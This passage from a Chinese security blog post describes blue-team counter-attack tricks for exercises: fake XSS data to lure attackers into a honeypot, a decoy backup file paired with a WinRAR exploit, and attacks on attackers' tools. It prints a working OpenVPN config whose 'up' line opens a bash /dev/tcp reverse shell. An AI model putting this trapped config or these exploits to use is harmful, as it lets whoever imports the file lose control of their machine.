<p>通过该段代码我们可以知道数据都回传到了这个接口上:<code>https://XXXX/xss.php?do=api&amp;id=shX36&amp;location=地址&amp;toplocation=地址&amp;cookie=Cookie信息&amp;opener=</code></p> <p>我们制定了一个计划:发送假数据前往攻击者所使用的XSS信息接收平台,诱导攻击者进入蜜罐。</p> <p>资源准备:公网域名解析蜜罐地址(需要客户网络安全部门具备一定的权利),蜜罐(需要具备蜜罐产品)伪造假后台,并部署虚假准入客户端下载;(【细节】当攻击者Cookie伪造进后台时会提示:当前登录IP不在准入名单)</p> <p><img src="/images/2020-09-03/15974225450599.jpg" alt="" /></p> <p>万事俱备只欠东风,对应参数传入虚假诱导数据(Location地址为查看留言信息的地址,Toplocation为引用该界面的地址,将用户名、密码写入到Cookie中配合“准入客户端”的诱导攻击)发送过去,等待攻击队上钩。</p> <p><img src="/images/2020-09-03/15974225704908.jpg" alt="" /></p> <h3 id="技巧篇">技巧篇</h3> <p>技巧篇不过多讲解,懂得自然懂。</p> <h4 id="虚假备份文件">虚假备份文件</h4> <p>配合蜜罐部署虚假漏洞,例如备份文件(WWW.rar)配合CVE-2018-20250漏洞。</p> <p>参考:https://github.com/WyAtu/CVE-2018-20250</p> <h4 id="openvpn配置后门">OpenVPN配置后门</h4> <p>OpenVPN配置文件(<strong>OVPN文件</strong>,是提供给OpenVPN客户端或服务器的配置文件)是可以修改并加入命令的。</p> <p>OVPN文件最简单的形式如下:</p> <pre><code>remote 192.168.31.137 ifconfig 10.200.0.2 10.200.0.1 dev tun </code></pre> <blockquote> <p>以上文件表示,客户端会以开放的,不用身份验证或加密方式去连接IP为192.168.31.137的远程服务,在此过程中,会建立一种名为tun的路由模式,用它来在系统不同客户端间执行点对点协议,例如,这里的tun路由模式下,tun客户端为10.200.0.2,tun服务端为10.200.0.1,也就是本地的tun设备地址。这里的三行OVPN配置文件只是一个简单的示例,真正应用环境中的OVPN文件随便都是数百行,其中包含了很多复杂的功能配置。</p> </blockquote> <p>OpenVPN 配置功能的 up 命令可以使得添加配置文件后执行我们所想让其执行的命令,官方文档中有说明:https://openvpn.net/community-resources/reference-manual-for-openvpn-2-0/</p> <blockquote> <p>成功启用 TUN/TAP 模式后的 cmd 命令。</p> <p>该cmd命令中包含了一个脚本程序执行路径和可选的多个执行参数。这种执行路径和参数可由单引号或双引号,或者是反斜杠来强调,中间用空格区分。up命令可用于指定路由,这种模式下,发往VPN另一端专用子网的IP流量会被路由到隧道中去。</p> </blockquote> <p>本质上,up命令会执行任何你指向的脚本程序。如果受害者使用的是支持<code>/dev/tcp</code>的Bash命令版本,那么在受害者系统上创建一个反弹控制 shell 轻而易举。就如以下OVPN文件中就可创建一个连接到 192.168.31.138:9090 的反弹shell。</p> <pre><code>remote 192.168.31.137 ifconfig 10.200.0.2 10.200.0.1 dev tun script-security 2 up "/bin/bash -c '/bin/bash -i &gt; /dev/tcp/192.168.31.138/9090 0&lt;&amp;1 2&gt;&amp;1&amp;'" </code></pre> <p><img src="/images/2020-09-03/15974251626915.jpg" alt="-w797" /></p> <p>需要注意的是,up 命令需要成功连接主机才会执行,也就是说192.168.31.137需要真实存在。</p> <h4 id="兵器漏洞">兵器漏洞</h4> <p>可以尝试挖掘蚁剑、冰蝎、菜刀、BurpSuite、SQLmap、AWVS的0day漏洞(需要一定的技术水平),或利用历史漏洞部署相关环境进行反打,例如蚁剑:https://gitee.com/mirrors/antSword/blob/master/CHANGELOG.md</p> <p>历史版本中出现诸多XSS漏洞-&gt;RCE:</p> <p><img src="/images/2020-09-03/15974256921135.jpg" alt="-w942" /></p> <h2 id="文末">文末</h2> <p>只要思维活跃,枯燥无味的一件事情也可以变得生动有趣,生活如此,工作亦如此。</p> <p>蓝队反制,需要具备这几个条件才能淋漓尽至的挥洒出来:</p> <ol> <li>客户安全相关部门的权力要高</li> <li>以自家厂商为主导的防守项目</li> <li>最好具备现成的现代蜜罐产品</li> </ol> <p>未来,攻防对抗演习不仅仅是前几年所展示的那样:蓝队只要知道防守手段;而趋势将会慢慢的偏向于真正的攻防,蓝队不仅要会基本的防守手段,还要具备强悍的对抗能力,与红队进行对抗,这对蓝队成员的攻防技术水平也是一种更高的考验。</p> <p>最后的最后:HACK THE WORLD - TO DO IT.</p> <h3 id="reference">Reference</h3> <p>对某攻击队的Webshell进行分析 - https://gh0st.cn/archives/2019-08-21/1</p> <p>从OpenVPN配置文件中创建反弹Shell实现用户系统控制 - https://www.freebuf.com/articles/terminal/175862.html</p>

2020/9/3
閱讀更多

推薦訂閱

空鸣深语

无论你是游戏死忠,还是轻度的休闲玩家,在这里都能找到感兴趣的东西。

分享免费、小巧、实用、有趣、绿色的软件

Cloudflare 官方博客中文版,涵盖安全、AI 和开发者相关内容